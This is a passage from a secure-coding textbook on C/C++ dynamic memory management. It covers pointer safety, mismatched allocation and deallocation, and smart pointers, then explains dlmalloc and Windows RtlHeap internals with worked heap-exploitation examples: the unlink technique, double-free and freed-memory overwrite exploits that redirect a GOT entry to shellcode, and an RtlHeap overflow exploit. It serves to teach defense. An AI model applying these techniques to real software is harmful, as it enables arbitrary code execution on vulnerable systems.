The object allocated at the beginning of the following function is clearly reachable via p throughout f():

Click here to view code image

1  int f() {
2    int *p = new int();
3    int *q = (int *)((intptr_t)p ^ 0x555);
4  a:
5    q = (int *)((intptr_t)q ^ 0x555);
6    return *q;
7  }

Nonetheless, a garbage collection at label a might reclaim it, because p is not referenced beyond that point and would probably no longer be stored because of dead variable optimizations, while q contains only a disguised pointer to the object [Boehm 2009].

To avoid this problem, C++11 defined the notion of a safely derived pointer derived from a pointer returned by new and then modified only by a sequence of operations such that none of the intermediate results could have disguised the pointer. Additionally, all intermediate pointer values must be stored in fields in which they can be recognized as such by the garbage collector, such as pointer fields, integer fields of sufficient size, and aligned subsequences of char arrays.

Because garbage collection is optional, a programmer can inquire which rules for pointer safety and reclamation are in force using the following call:

Click here to view code image

1  namespace std {
2    enum class pointer_safety { relaxed, preferred, strict };
3    pointer_safety get_pointer_safety();
4  }

The three values of pointer_safety are

relaxed: Safely derived and not safely derived pointers are treated equivalently, similarly to how they are treated in C and C++98.

preferred: This is similar to relaxed, but a garbage collector may be running as a leak detector and/or detector of dereferences of “bad pointers.”

strict: Safely derived and not safely derived pointers may be treated differently; that is, a garbage collector may be running and will ignore pointers that are not safely derived.

There is no standard mechanism for specifying which of these three options is in effect.

C++11 defines template functions in header <memory> to manage pointer safety, including

Click here to view code image

1  namespace std {
2    void declare_reachable(void *p);
3    template <class T> T *undeclare_reachable(T *p);
4  }

A call to std::declare_reachable(p) is specified to ensure that the entire allocated object (that is, the complete object) containing the object referenced by p is retained even if it appears to be unreachable. More precisely, a call to std::declare_reachable(p) requires that p itself be a safely derived pointer but allows subsequent dereferences of pointer q to the same object as p, even if q is not safely derived.

This is reversed by a call to std::undeclare_reachable(r), where r points to the same object as a prior argument p to std::declare_reachable().

The std::undeclare_reachable() function template returns a safely derived copy of its argument. If the programmer wants to temporarily hide a pointer, it can be safely done through code such as

Click here to view code image

1  std::declare_reachable(p);
2  p = (foo *)((intptr_t)p ^ 0x5555);
3  // p is disguised here.
4  p = std::undeclare_reachable((foo *)((intptr_t)p ^ 0x5555));
5  // p is once again safely derived here and can
6  // be dereferenced.

In a non-garbage-collected implementation, both calls turn into no-ops, resulting in object code similar to what might be produced by a GC-unsafe implementation. In a garbage-collected implementation, std::declare_reachable(p) effectively adds p to a global, GC-visible data structure.

A complete object is declared reachable while the number of calls to std::declare_reachable() with an argument referencing the object exceeds the number of calls to std::undeclare_reachable() with an argument referencing the object.

The header <memory> also defines the following functions:

Click here to view code image

1  namespace std {
2    void declare_no_pointers(char *p, size_t n);
3    void undeclare_no_pointers(char *p, size_t n);
4  }

These are used for optimization. The std::declare_no_pointers() function informs a garbage collector or leak detector that this region of memory contains no pointers and need not be traced. The std::undeclare_no_pointers() function unregisters a range registered with std::declare_no_pointers().

Example 4.8 shows a test for an allocation failure that is incorrect because the new expression will either succeed or throw an exception. This means that the if condition is always true and the else clause is never executed.

Example 4.8. Incorrect Use of the new Operator

---

Click here to view code image

1  int *ip = new int;
2  if (ip) { // condition always true
3        ...
4  }
5  else {
6        // will never execute
7  }

---

The nothrow form of the new operator returns a null pointer instead of throwing an exception:

T* p2 = new(std::nothrow) T; // returns 0 on failure

The C memory deallocation function std::free() should never be used on resources allocated by the C++ memory allocation functions, and the C++ memory deallocation operators and functions should never be used on resources allocated by the C memory allocation functions. Although the C++ Standard allows the operator new() and operator new[]() functions to be implementable by calling the standard C library malloc() or calloc() functions, implementations are not required to do so. Similarly, the operator delete() and operator delete[]() functions need not call the standard C library function free(). This means that the manner in which memory is allocated and deallocated by the C++ memory allocation and deallocation functions could differ from the way memory is allocated and deallocated by the C memory allocation and deallocation functions. Consequently, mixing calls to the C++ memory allocation and deallocation functions and the C memory allocation and deallocation functions on the same resource is undefined behavior and may have catastrophic consequences. Additionally, malloc() and operator new() can use their own distinct pools of memory, so pairing them with the wrong deallocation functions could lead to memory errors in each pool of memory.

Even more problematic is calling free() on an object allocated with the C++ new expression because free() does not invoke the object’s destructor. Such a call could lead to memory leaks, failing to release a lock, or other issues, because the destructor is responsible for freeing resources used by the object. Similarly, attempting to delete an object that was allocated with malloc() may invoke the object’s destructor, which can cause errors if the object was not constructed or was already destroyed.

Example 4.9 shows improperly paired memory management functions. The new operator on line 1 is improperly paired with free() on line 3, and malloc() on line 4 is improperly paired with the delete operator on line 7.

Example 4.9. Improperly Paired Memory Management Functions

Click here to view code image

---

1  int *ip = new int(12);
2    ...
3  free(ip); // wrong!
4  ip = static_cast<int *>(malloc(sizeof(int)));
5  *ip = 12;
6    ...
7  delete ip; // wrong!

---

Widget *w = new Widget(arg);
delete w;

The new[] and delete[] operators are used to allocate and free arrays:

w = new Widget[n];
delete [] w;

When a single object is allocated, the operator new() function is called to allocate storage for the object, and then its constructor is called to initialize it. When a single object is deleted, its destructor is called first, and then the appropriate operator delete() function is called to free the memory occupied by the object.

The behavior is undefined if the value supplied to operator delete(void *) was not returned by a previous invocation of either operator new(std::size_t) or operator new(std::size_t, const std::nothrow_t&).

When an array of objects is allocated, operator new[]() is called to allocate storage for the whole array. The object constructor is subsequently called to initialize every element in the array. When an array of objects is deleted, the destructor of each object in the array is called first, and then operator delete[]() is called to free the memory occupied by the whole array. For this reason, it is important to use operator delete() with operator new() and operator delete[]() with operator new[](). If an attempt is made to delete a whole array using operator delete(), only the memory occupied by the first element of the array will be freed, and a significant memory leak could result and be exploited as a denial-of-service attack.

The behavior is undefined if the value supplied to operator delete[](void*) is not one of the values returned by a previous invocation of either operator new[](std::size_t) or operator new[](std::size_t, const std::nothrow_t&).

A common implementation strategy for operator new[]() is to store the size of the array in the memory immediately preceding the actual pointer returned by the function. The corresponding operator delete[]() function on this implementation will be aware of this convention. However, if the pointer returned by operator new[]() is passed to operator delete(), the memory deallocation function might misinterpret the size of the storage to deallocate, leading to heap memory corruption.

A similar problem occurs if the delete[]() function is invoked on a single object. On implementations where operator new[]() stores the size of the array in the memory immediately preceding the actual pointer returned by the function, operator delete[]() assumes this value represents the size of the array. If the pointer passed to the operator delete[]() function was not allocated by operator new[](), this value is unlikely to be correct. This error will frequently result in a crash because the destructor for the object is invoked an arbitrary number of times based on the value stored in this location [Dowd 2007].

Click here to view code image

1  string *sp = static_cast<string *>
2               (operator new(sizeof(string));
3  ...
4  delete sp; // error!
5
6  operator delete (sp);   // correct!

Example 4.10. Failure to Properly Pair operator new() and Member new()

Click here to view code image

---

01  class B {
02    public:
03        void *operator new(size_t);
04      // no operator delete!
05        ...
06  };
07  ...
08  B *bp = new B; // uses member new
09  ...
10  delete bp; // uses global delete!

---

The code fragment in Example 4.11 shows the incorrect pairing of placement new with delete, followed by the correct usage.

Example 4.11. Correct and Incorrect Use of Placement new

Click here to view code image

---

1  void *addr = reinterpret_cast<void *>(0x00FE0000);
2  Register *rp = new (addr) Register;
3  ...
4  delete rp; // error!
5  ...
6  rp = new (addr) Register;
7  ...
8  rp->~Register(); // correct

---

All C++ code should strictly adhere to these pairings.

The CERT C++ Secure Coding Standard [SEI 2012b], “MEM39-CPP. Resources allocated by memory allocation functions must be released using the corresponding memory deallocation function,” elaborates further on this problem.

Standard C++ containers that contain pointers do not delete the objects to which the pointers refer:

Click here to view code image

1  vector<Shape *> pic;
2  pic.push_back(new Circle);
3  pic.push_back(new Triangle);
4  pic.push_back(new Square);
5  // leaks memory when pic goes out of scope

Consequently, it is necessary to delete the container’s elements before the container is destroyed:

Click here to view code image

01  template <class Container>
02  inline void
03  releaseItems(Container &c) {
04    typename Container::iterator i;
05    for (i = c.begin(); i != c.end(); ++i) {
06      delete *i;
07    }
08  }
09  ...
10  vector<Shape *> pic;
11  ...
12  releaseItems(pic);

Unfortunately, this solution can lead to double-free vulnerabilities:

Click here to view code image

01  vector<Shape *> pic;
02  pic.push_back(new Circle);
03  pic.push_back(new Triangle);
04  pic.push_back(new Square);
05  ...
06  list<Shape *> picture;
07  picture.push_back(pic[2]);
08  picture.push_back(new Triangle);
09  picture.push_back(pic[0]);
10  ...
11  releaseElems(picture);
12  releaseElems(pic); // oops!

The code is also not exception safe. If the second new expression throws an exception, the vector will be destroyed during unwinding without releasing the memory allocated by the first new expression. It is safer and increasingly common to use reference-counted smart pointers as container elements.

Click here to view code image

1  typedef std::shared_ptr<Shape> SP;
2  ...
3  vector<SP> pic;
4  pic.push_back(SP(new Circle));
5  pic.push_back(SP(new Triangle));
6  pic.push_back(SP(new Square));
7  // no cleanup necessary...

A smart pointer is a class type that has overloaded the -> and * operators to act like pointers. Smart pointers are often a safer choice than raw pointers because they can provide augmented behavior not present in raw pointers, such as garbage collection, checking for null, and preventing use of raw pointer operations that are inappropriate or dangerous in a particular context (such as pointer arithmetic and pointer copying).

Reference-counted smart pointers maintain a reference count for the object to which they refer. When the reference count goes to zero, the object is destroyed.

The most commonly used reference-counted smart pointer is the std::shared_ptr class template defined in the C++ standard library. Additionally, many ad hoc reference-counted smart pointers are available.

The use of smart pointers avoids complexity:

Click here to view code image

01  vector<SP> pic;
02  pic.push_back(SP(new Circle));
03  pic.push_back(SP(new Triangle));
04  pic.push_back(SP(new Square));
05  ...
06  list<SP> picture;
07  picture.push_back(pic[2]);
08  picture.push_back(SP(new Triangle));
09  picture.push_back(pic[0]);
10  ...
11  // no cleanup necessary!

Figure 4.2 illustrates both the pic vector and the picture list with the pool of shared reference-counted objects.

Example 4.12 further illustrates this problem. The user-defined deallocation function UserClass::operator delete[]() throws an exception in response to some_condition evaluating to true. If an exception is thrown from the constructor of one of the array’s elements during the invocation of an array new expression, the stack is unwound, all successfully constructed array elements are destroyed, and UserClass::operator delete[]() is invoked. Allowing UserClass::operator delete[]() to throw another exception while the first exception is still in flight (that is, has not yet been handled) results in undefined behavior, typically abnormal program termination.

Example 4.12. Deallocation Function Throws an Exception

Click here to view code image

---

01  class UserClass {
02  public:
03    // ...
04    UserClass(); // may throw
05    static void* operator new[](std::size_t);
06    static void operator delete[](void *ptr) {
07      if (some_condition)
08        throw std::runtime_error("deallocating a bad pointer");
09      // ...
10    }
11  };
12
13  void f(std::size_t nelems) {
14    UserClass *array = new UserClass[nelems];
15    // ...
16    delete[] array;
17  }

---

Memory managers are typically included as part of the operating systems (usually part of libc). Less frequently, an alternative memory manager may be provided with the compiler. The memory manager may be statically linked in an executable or determined at runtime. There is nothing sacrosanct about which memory manager is used—you can even write your own, although this is not necessarily a good idea.

Although the specific algorithm varies, most memory managers use a variant of the dynamic storage allocation algorithm described by Donald Knuth in The Art of Computer Programming [Knuth 1997]. Knuth defines a dynamic storage allocator as an algorithm for reserving and freeing variable-size chunks of memory from a larger storage area. Dynamic storage allocation requires that a list of available space be maintained. According to Knuth, “This is almost always done best by using the available space itself to contain such a list.” User-addressable areas of a freed chunk can therefore contain links to other free chunks. The free chunks may be linked in increasing or decreasing size order, in order of memory address, or in random order.⁴

4. Using in-band (or in-chunk) linked lists of free chunks may actually result in poor performance on modern, virtual memory architectures. Because the free lists are scattered throughout the free chunks, free() may end up paging in otherwise unused pages from the disk while traversing the linked lists.

Dynamic storage allocation requires an algorithm for finding and reserving a chunk of n contiguous bytes. It can be accomplished using a best-fit method or first-fit method. Using the best-fit method, an area with m bytes is selected, where m is the (or one of the) smallest available chunk(s) of contiguous memory equal to or larger than n. The first-fit method simply returns the first chunk encountered containing n or more bytes.

A problem with both methods is that memory can become fragmented into extremely small chunks consisting, for example, of 1 or 2 bytes. To prevent fragmentation, a memory manager may allocate chunks that are larger than the requested size if the space remaining is too small to be useful.

Finally, memory managers must provide a method to deallocate memory chunks when they are no longer required. One approach is to return chunks to the available space list as soon as they become free and consolidate adjacent areas. To eliminate searching when storage is returned, Knuth uses boundary tags at both ends of each memory chunk. The boundary tags include a size field at the beginning of each chunk and are used to consolidate adjoining chunks of free memory so that fragmentation is avoided.⁵  The size field simplifies navigation between chunks.

5. Boundary tags are data structures on the boundary between blocks in the heap from which storage is allocated.

Many elements of the Knuth algorithm, including in-band free lists, were implemented in UNIX. K&R C contains the original (simple and elegant) malloc() and free() implementations from UNIX [Kernighan 1988]. Publication of these algorithms both by Knuth and in K&R C has been extremely influential to C and C++ developers.

This section describes the internals of dlmalloc version 2.7.2, security flaws that can be introduced by using dlmalloc incorrectly, and examples of how these flaws can be exploited. Each of the 2.x series (2.0.x–2.7.x) uses slightly different bookkeeping, and the 2.8 version will be further changed. While the description of dlmalloc internals and the details of these exploits are specific to version 2.7.2 of dlmalloc, the security flaws responsible for these vulnerabilities are common to all versions of dlmalloc (and other memory managers as well).

Examples in this module assume the Intel architecture and 32-bit addressing (x86-32).

Doug Lea’s malloc manages the heap and provides standard memory management (see “C Standard Memory Management Functions”). In dlmalloc, memory chunks are either allocated to a process or are free. Figure 4.3 shows the structure of allocated and free chunks. The first 4 bytes of both allocated and free chunks contain either the size of the previous adjacent chunk, if it is free, or the last 4 bytes of user data of the previous chunk, if it is allocated.

Free chunks are organized into double-linked lists. A free chunk contains forward and backward pointers to the next and previous chunks in the list to which it belongs. These pointers occupy the same 8 bytes of memory as user data in an allocated chunk. The chunk size is stored in the last 4 bytes of the free chunk, enabling adjacent free chunks to be consolidated to avoid fragmentation of memory.

Both allocated and free chunks make use of a PREV_INUSE bit (represented by P in the figure) to indicate whether or not the previous chunk is allocated. Because chunk sizes are always 2-byte multiples, the size of a chunk is always even and the low-order bit is unused. This allows the PREV_INUSE bit to be stored in the low-order bit of the chunk size. If the PREV_INUSE bit is clear, the 4 bytes before the current chunk size contain the size of the previous chunk and can be used to find the front of that chunk.

In dlmalloc, free chunks are arranged in circular double-linked lists, or bins. Each double-linked list has a head that contains forward and backward pointers to the first and last chunks in the list, as shown in Figure 4.4. Both the forward pointer in the last chunk of the list and the backward pointer in the first chunk of the list point to the head element. When the list is empty, the head’s pointers reference the head itself.

Each bin holds chunks of a particular size (or range of sizes) so that a correctly sized chunk can be found quickly. For smaller sizes, the bins contain chunks of one size. As the size increases, the range of sizes in a bin also increases. For bins with different sizes, chunks are arranged in descending size order. There is also a bin for recently freed chunks that acts like a cache. Chunks in this bin are given one chance to be reallocated before being moved to the regular bins.

Memory chunks are consolidated during the free() operation. If the chunk located immediately before the chunk to be freed is free, it is taken off its double-linked list and consolidated with the chunk being freed. Then, if the chunk located immediately after the chunk to be freed is free, it is taken off its double-linked list and consolidated with the chunk being freed. The resulting consolidated chunk is placed in the appropriate bin.

In Example 4.13, the unlink() macro is used to remove a chunk from its double-linked list. It is used when memory is consolidated and when a chunk is taken off the free list because it has been allocated to a user.

Example 4.13. The unlink() Macro

Click here to view code image

---

1  #define unlink(P, BK, FD) {
2    FD = P->fd;  
3    BK = P->bk;  
4    FD->bk = BK;
5    BK->fd = FD;
6  }

---

The easiest way to understand how this macro works is to look at an example. Figure 4.5 shows how the unlink() macro supports free processing. The pointer P identifies the memory chunk to be unlinked. This chunk contains a forward pointer to the next chunk in the list and a backward pointer to the previous chunk in the list, as shown by the arrows to the left of the chunks. All three chunks are shown. Step 1 of unlink() assigns FD so that it points to the next chunk in the list. Step 2 assigns BK so that it points to the previous chunk in the list. In step 3, the forward pointer (FD) replaces the backward pointer of the next chunk in the list with the pointer to the chunk preceding the chunk being unlinked. Finally, in step 4, the backward pointer (BK) replaces the forward pointer of the preceding chunk in the list with the pointer to the next chunk.

There are, however, well-known techniques that are not difficult to adapt to exploit common programming flaws in dynamic memory management. Buffer overflows, for example, can be used to corrupt data structures used by the memory manager to execute arbitrary code. Both the unlink and frontlink techniques described in this section can be used for this purpose.

The unlink technique is used to exploit a buffer overflow to manipulate the boundary tags on chunks of memory to trick the unlink() macro into writing 4 bytes of data to an arbitrary location. The program shown in Example 4.14, for instance, is vulnerable to a buffer overflow that can be exploited using this technique.

The vulnerable program allocates three chunks of memory (lines 5–7). The program accepts a single string argument that is copied into first (line 8). This unbounded strcpy() operation is susceptible to a buffer overflow. The boundary tag can be overwritten by a string argument exceeding the length of first because the boundary tag for second is located directly after the first buffer.

Example 4.14. Code Vulnerable to an Exploit Using the Unlink Technique

Click here to view code image

---

01  #include <stdlib.h>
02  #include <string.h>
03  int main(int argc, char *argv[]) {
04    char *first, *second, *third;
05    first = malloc(666);
06    second = malloc(12);
07    third = malloc(12);
08    strcpy(first, argv[1]);
09    free(first);
10    free(second);
11    free(third);
12    return(0);
13  }

---

After copying the argument (and presumably performing some other processing), the program calls free() (line 9) to deallocate the first chunk of memory. Figure 4.6 shows the contents of the heap at the time free() is called for the first time.

If the second chunk is unallocated, the free() operation will attempt to consolidate it with the first chunk. To determine whether the second chunk is unallocated, free() checks the PREV_INUSE bit of the third chunk. The location of the third chunk is determined by adding the size of the second chunk to its starting address. During normal operations, the PREV_INUSE bit of the third chunk is set because the second chunk is still allocated, as shown in Figure 4.7.

Consequently, the first and second chunks are not consolidated.

Because the vulnerable buffer is allocated in the heap and not on the stack, the attacker cannot simply overwrite the return address to exploit the vulnerability and execute arbitrary code. The attacker can overwrite the boundary tag associated with the second chunk of memory, as shown in Figure 4.8, because this boundary tag is located immediately after the end of the first chunk. The size of the first chunk (672 bytes) is the result of the requested size of 666 bytes, plus 4 bytes for the size, rounded up to the next multiple of 8 bytes.

Figure 4.9 shows a malicious argument that can be used to overwrite the boundary tags for the second chunk. This argument overwrites the previous size field, size of chunk, and forward and backward pointers in the second chunk—altering the behavior of the call to free() (line 9). In particular, the size field in the second chunk is overwritten with the value –4 so that when free() attempts to determine the location of the third chunk by adding the size field to the starting address of the second chunk, it instead subtracts 4. Doug Lea’s malloc now mistakenly believes that the start of the next contiguous chunk is 4 bytes before the start of the second chunk.

The malicious argument, of course, ensures that the location where dlmalloc finds the PREV_INUSE bit is clear, tricking dlmalloc into believing the second chunk is unallocated—so the free() operation invokes the unlink() macro to consolidate the two chunks.

Figure 4.10 shows the contents of the second chunk when the unlink() macro is called. The first line of unlink, FD = P->fd, assigns the value in P->fd (provided as part of the malicious argument) to FD. The second line of the unlink macro, BK = P->bk, assigns the value of P->bk, also provided by the malicious argument to BK. The third line of the unlink() macro, FD->bk = BK, overwrites the address specified by FD + 12 (the offset of the bk field in the structure) with the value of BK. In other words, the unlink() macro writes 4 bytes of data supplied by an attacker to a 4-byte address also supplied by the attacker.

Once an attacker can write 4 bytes of data to an arbitrary address, it becomes a relatively simple matter to execute arbitrary code with the permissions of the vulnerable program. An attacker could, for example, provide the address of the return pointer on the stack and use the unlink() macro to overwrite the address with the address of malicious code. Another possibility is to overwrite the address of a function called by the vulnerable program with the address of the malicious code. For example, an attacker can examine the executable image to find the address of the jump slot for the free() library call. This is possible with ELF binary format because the global offset table (GOT) is writable. The equivalent information cannot be overwritten when the Windows binary format is used.

The address –12 is included in the malicious argument so that the unlink() method overwrites the address of the free() library call with the address of the shellcode. The shellcode is then executed as a result of the call to free() (line 10 of the vulnerable program). The shellcode jumps over the first 12 bytes because some of this memory is overwritten by unlink() when making the assignment BK->fd = FD. The lvalue BK->fd references the address of the shellcode plus 8; consequently, bytes 9 to 12 of the shellcode are overwritten.

Exploitation of a buffer overflow in the heap is not particularly difficult. The most difficult part of this exploit is determining the size of the first chunk so that the boundary tag for the second argument can be precisely overwritten. To do this, an attacker could copy and paste the request2size(req,nb) macro from dlmalloc into his or her exploit code and use this macro to calculate the size of the chunk.

For a double-free exploit to be successful, two conditions must be met. The chunk to be freed must be isolated in memory (that is, the adjacent chunks must be allocated so that no consolidation takes place), and the bin into which the chunk is to be placed must be empty.

Figure 4.11 shows an empty bin and an allocated memory chunk. Because it is empty, the bin’s forward and backward pointers are self-referential. There is no link between the bin and chunk because the chunk is allocated.

Figure 4.12 shows these data structures again after the memory chunk referenced by P is freed. The free() function adds the free chunk to the bin using the frontlink code segment shown in Example 4.15.

Example 4.15. The frontlink code segment

Click here to view code image

---

01  BK = bin;
02  FD = BK->fd;
03  if (FD != BK) {
04    while (FD != BK && S < chunksize(FD)) {
05      FD = FD->fd;
06    }
07    BK = FD->bk;
08  }
09  P->bk = BK;
10  P->fd = FD;
11  FD->bk = BK->fd = P;

---

When a chunk of memory is freed, it must be linked into the appropriate double-linked list. In some versions of dlmalloc, this is performed by the frontlink code segment. The frontlink code segment is executed after adjacent chunks are consolidated. Chunks are stored in the double-linked list in descending size order.

The attacker supplies the address of a memory chunk and arranges for the first 4 bytes of this memory chunk to contain executable code (that is, a jump instruction to shellcode). This is accomplished by writing these instructions into the last 4 bytes of the previous chunk in memory. (Remember that, as shown in Figure 4.3, the last 4 bytes of data in the previous chunk (if allocated) overlap with the current chunk).

After the frontlink code segment executes, the bin’s forward and backward pointers reference the freed chunk, and the chunk’s forward and backward pointers reference the bin. This is the expected behavior, as we now have a double-linked list containing the free chunk.

However, if the memory chunk referenced by P is freed a second time, the data structure is corrupted. As shown in Figure 4.13, the bin’s forward and backward pointers still reference the chunk, but the chunk’s forward and backward pointers become self-referential.

If the user requests a memory chunk of the same size as the self-referential chunk, the memory allocator will attempt to allocate a chunk from the same bin. Because the bin’s forward pointer still references the chunk, it can be found and returned to the user. However, invoking the unlink() macro to remove the chunk from the bin leaves the pointers unchanged. Instead of the chunk being removed from the bin, the data structures remain exactly as they appeared in the figure before the memory allocation request. As a result, if additional requests are made to allocate a chunk of the same size, the same chunk is returned to the user over and over again. Once the data structures have been corrupted in this manner, malloc() can be exploited to execute arbitrary code.

Example 4.16 shows a simplified example of how a double-free vulnerability is exploited. The target of this exploit is the first chunk allocated on line 12. Before the exploit can succeed, however, memory must be manipulated into a vulnerable configuration. To do this, an attacker must ensure that the first chunk is not consolidated with other free chunks when it is freed.

Example 4.16. Double-Free Exploit Code

Click here to view code image

---

01  static char *GOT_LOCATION = (char *)0x0804c98c;
02  static char shellcode[] =
03    "xebx0cjump12chars_" /* jump */
04    "x90x90x90x90x90x90x90x90";
05  int main(void) {
06    int size = sizeof(shellcode);
07    char *shellcode_location;
08    char *first, *second, *third, *fourth;
09    char *fifth, *sixth, *seventh;
10    shellcode_location = malloc(size);
11    strcpy(shellcode_location, shellcode);
12    first = malloc(256);
13    second = malloc(256);
14    third = malloc(256);
15    fourth = malloc(256);
16    free(first);
17    free(third);
18    fifth = malloc(128);
19    free(first);                 // double-free
20    sixth = malloc(256);
21    *((char **)(sixth+0)) = GOT_LOCATION-12;
22    *((char **)(sixth+4)) = shellcode_location;
23    seventh = malloc(256);
24    strcpy(fifth, "something");
25    return 0;
26  }

---

When first is initially freed (line 16), it is put into a cache bin rather than a regular one. Freeing the third chunk moves the first chunk to a regular bin. Allocating the second and fourth chunks prevents the third chunk from being consolidated. Allocating the fifth chunk on line 18 causes memory to be split off from the third chunk, and as a side effect, the first chunk is moved to a regular bin (its one chance to be reallocated from the cache bin has passed). Memory is now configured so that freeing the first chunk a second time (line 19) sets up the double-free vulnerability. When the sixth chunk is allocated on line 20, malloc() returns a pointer to the same chunk referenced by first. The GOT address of the strcpy() function (minus 12) and the shellcode location are copied into this memory (lines 21–22); then the same memory chunk is allocated yet again as the seventh chunk on line 23. This time, when the chunk is allocated, the unlink() macro copies the address of the shellcode into the address of the strcpy() function in the global offset table (and overwrites a few bytes near the beginning of the shellcode). When strcpy() is called on line 24, control is transferred to the shellcode.

These vulnerabilities are difficult to exploit because of the precise memory configuration required and because exploit details vary from one heap implementation to another. Although Example 4.16 combines elements of the vulnerable code with exploit code and addresses have been hard-coded, real-world examples of vulnerable code exist and have been successfully exploited. For example, servers that remain resident in memory and can be manipulated by successive calls are susceptible to these exploits.

Most modern heap managers now implement safe unlinking, which indirectly solves the exploitability of double-frees by adding checks that ensure the invariants of a double-linked list. Checking these invariants before the unlinking process makes it possible to detect corruption of the data structures at the earliest opportunity [Microsoft 2009]. Nonetheless, double-frees must still be avoided.

Example 4.17. Overwriting Freed Memory Exploit

Click here to view code image

---

01  static char *GOT_LOCATION = (char *)0x0804c98c;
02  static char shellcode[] =
03    "xebx0cjump12chars_" /* jump */
04    "x90x90x90x90x90x90x90x90";
05  int main(void){
06    int size = sizeof(shellcode);
07    char *shellcode_location;
08    char *first,*second,*third,*fourth,*fifth,*sixth;
09    shellcode_location = malloc(size);
10    strcpy(shellcode_location, shellcode);
11    first = malloc(256);
12    second = malloc(256);
13    third = malloc(256);
14    fourth = malloc(256);
15    free(first);
16    free(third);
17    fifth = malloc(128);  // sets up initial conditions
18    *((char **)(first+0)) = GOT_LOCATION - 12;
19    *((char **)(first+4)) = shellcode_location;
20    sixth = malloc(256);
21    strcpy(fifth, "something");
22    return 0;
23  }

---

Figure 4.14 shows five sets of memory management APIs in Win32. Each was designed to be used independently of the others.

6. In XP Service Pack 2, the PEB location is no longer constant. The PEB stays close to the old address but may shift by a few pages.

FreeList[] is an array of LIST_ENTRY structures, where each LIST_ENTRY represents the head of a double-linked list. The LIST_ENTRY structure is defined in winnt.h and consists of a forward link (flink) and a backward link (blink). Each list manages free chunks of a particular size. The chunk size is equal to the table row index * 8 bytes. FreeList[0] is an exception, containing buffers greater than 1,024 bytes but smaller than the virtual allocation threshold.

Free chunks in this list are sorted from smallest to largest. Figure 4.16 shows the FreeList[] data structure at runtime. Currently, the heap associated with this data structure contains eight free chunks. Two of these chunks are 16 bytes in length and are maintained on the linked list stored at FreeList[2]. Two more chunks of 48 bytes each are maintained on the linked list at FreeList[6]. In both cases, you can see that the relationship between the size of the chunk and the location of the free list in the array is maintained. The final four free chunks of 1,400, 2,000, 2,000, and 2,408 bytes are all greater than 1,024 and are maintained on FreeList[0] in order of increasing size.

When a new heap is created, the free lists are initially empty. (When a list is empty, the forward and backward links point to the list head.) This changes as soon as the first chunk of memory is allocated. Memory in the page that is not allocated as part of the first chunk or used for heap control structures is added to a free list. For relatively small allocations (less than 1,472 bytes), the free chunk is placed in FreeList[0] for chunks over 1,024 bytes in size. Subsequent allocations are carved from this free chunk, assuming enough space is available.

The self and previous chunk size fields are given in the number of quadwords in the memory structures (suggesting memory chunks are multiples of 8 bytes).⁷ The busy flag is used to indicate whether the chunk is allocated or free.

7. Additional fields are present in heap structures in debug mode that are not present in release versions of code. In the case of memory allocated with malloc(), this includes an additional linked-list structure.

Memory that has been freed by the user, by a call to either free() or HeapFree(), is added to the free list for memory chunks of that size. The structure of a free chunk is shown in Figure 4.19. The freed memory is left in place, and the first 8 bytes of the chunk are used to contain forward and backward pointers to other free chunks of that size or to the head of the list. The memory used to store the forward and backward links is the first 8 bytes of the user-addressable memory returned by HeapAlloc(). In addition to writing the addresses of the next chunk and previous chunk into the user space, the call to HeapFree() clears the busy bit in the flags field.

Example 4.18 shows how a buffer overflow in RtlHeap can be exploited to execute arbitrary code. This code creates a new heap on line 9 by calling HeapCreate() with an initial size of 0x1000 and a maximum size of 0x10000. Creating a new heap simplifies the exploit: we know exactly what has and has not transpired on the heap. Three chunks of various sizes are allocated on lines 10 through 12. These chunks are contiguous because there are no free chunks of an appropriate size that might be allocated instead. Freeing h2 on line 13 creates a gap in the allocated memory. This chunk is added to the free list, meaning that the first 8 bytes are replaced with forward and backward pointers to the head of the free list for 128-byte chunks and the busy flag is cleared. Starting from h1, memory is now ordered as follows: the h1 chunk, the free chunk, and the h3 chunk. No effort has been made to disguise the buffer overflow in this sample exploit that takes place on line 14. During this memcpy() operation, the first 16 bytes of malArg overwrite the user data area. The next 8 bytes overwrite the boundary tag for the free chunk. In this case, the exploit simply preserves the existing information so that normal processing is not affected. The next 8 bytes in malArg overwrite the pointers to the next and previous chunks. The address of the next chunk is overwritten with the address to be overwritten minus 4 bytes (in this case, a return address on the stack). The address of the previous chunk is overwritten with the address of the shellcode. The stage is now set for the call to HeapAlloc() on line 15, which causes the return address to be overwritten with the address of the shellcode. This works because this call to HeapAlloc() requests the same number of bytes as the previously freed chunk. As a result, RtlHeap retrieves the chunk from the free list containing the compromised chunk. The return address is overwritten with the address of the shellcode when the free chunk is being removed from the double-linked free list. When the mem() function returns on line 21, control is passed to the shellcode.

Example 4.18. Exploit of Buffer Overflow in Dynamic Memory on Windows

Click here to view code image

---

01  unsigned char shellcode[] = "x90x90x90x90";
02  unsigned char malArg[] = "0123456789012345"
03       "x05x00x03x00x00x00x08x00"
04      "xb8xf5x12x00x40x90x40x00";
05
06  void mem() {
07    HANDLE hp;
08    HLOCAL h1 = 0, h2 = 0, h3 = 0, h4 = 0;
09    hp = HeapCreate(0, 0x1000, 0x10000);
10    h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);
11    h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 128);
12    h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);
13    HeapFree(hp,0,h2);
14    memcpy(h1, malArg, 32);
15    h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 128);
16    return;
17  }
18
19  int main(void) {
20    mem();
21    return 0;
22  }

---

This exploit is less than perfect because the processing of the HeapAlloc() call on line 15 also results in the first 4 bytes of the shellcode being overwritten with the return address xb8xf5x12x00. This overwrite causes a problem for an attacker in that there is no way to jump over or around these 4 bytes as control is transferred to this location. It means that the return address, in this example, needs to be executable when written to memory in little endian format. It is not typically important what these bytes do when executed as long as they do not cause a fault. Finding an address that can be used to transfer control to the shellcode and also be executed is possible but requires considerable trial and error.

Rather than trying to find an executable address, an alternative approach is to replace the address of an exception handler with the address of the shellcode. As you may already have experienced, tampering with pointers in the heap structure—more often than not—causes an exception to be thrown. An attacker, however, can take advantage of a thrown exception to transfer control to injected shellcode, as demonstrated in the following section.

